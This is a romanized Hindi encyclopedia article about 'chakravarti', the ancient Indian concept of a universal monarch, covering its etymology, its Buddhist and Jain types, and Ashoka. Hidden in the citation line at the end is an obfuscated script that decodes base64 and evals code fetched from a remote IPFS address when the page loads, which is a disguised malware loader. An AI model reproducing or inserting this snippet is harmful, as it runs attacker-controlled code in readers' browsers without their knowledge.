चक्रवर्ती
chakravarti arthath "vishv shasak ki prachin bharatiy avadharan". yah shabd sanskrit ke chrak, arthath 'pahiya' aur 'varti', yani 'ghoomata hua' se utpann hua hai. is prakar 'chakravarti' ko aisa shasak mana ja sakata hai, jisake rath ka pahiya har jagah ghoomata ho ya jisaki gati ko koee rok n sake.
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prachin sahity mean ullekh
prachin bharat mean chakravarti raja ko ashvamedh ya rajasooy yajn karane ka adhikar hota tha. bharat ke prachin sahity mean aise rajaoan ki kee soochiyaan paee jati haian. mandhata aur yayati pratham chakravartiyoan mean se the. samast bharat ko ek shasan sootr mean baandhana chakravartiyoan ka pramukh adarsh hota tha. chakravarti mean pahie ke ghoomane ko dharmikata aur naitik satta ke chakr-dharm se bhi jo da ja sakata hai, jaisa bauddh dharm me hota hai. buddh ka saranath ka upadesh vidhi ka dhoomata hua chakr hai aur ek chakravarti se apeksha ki jati hai ki vah apane rajy mean sadacharita ya dharmikata ke chakr ka ghoornan sunishchit karega.[1]
prakar
bauddh aur jain srotoan mean tin prakar ke dharmanirapeksh chakravartiyoan ka ullekh hai-
(1) chakraval chakravarti - prachin bharatiy srishtishastr mean varnit sabhi char mahadvip par raj karane vala raja.
(2) dvip chakravarti - keval ek mahadvip par raj karane vala raja, jo pahale vale se kam shaktishali hota hai.
(3) pradesh chakravarti - ek mahadvip ke kisi hisse ke logoan par shasak karane vala raja, jo sthaniy raja ka samakaksh hota hai.
pratham chakravarti shasak
'chakraval chakravarti' ki upadhi grahan karane vale sabase pahale samrat ashok (tisari shatabdi ee. poo.) the. ashok ne apane abhilekhoan mean 'chakravarti' upadhi ka ullekh nahian kiya hai. bad ke sahity mean unaka is roop mean varnan milata hai. us kal ke bauddh aur jain darshanikoan ne 'chakraval chakravarti' ki avadharana ko aur naitik qanoonoan ko banae rakhane vale raja ke sath jo d diya. dharmanirapekshata mean 'chakravarti' ko buddh ke samakaksh mana jata hai, unhean buddh ke saman hi kee gunoan se jo da jata hai.
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tika tippani aur sandarbh
- ↑ bharat jnanakosh, khand-2 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika (indiya) praivet limited, nee dilli |sankalan: bharatakosh pustakalay |prishth sankhya: 147 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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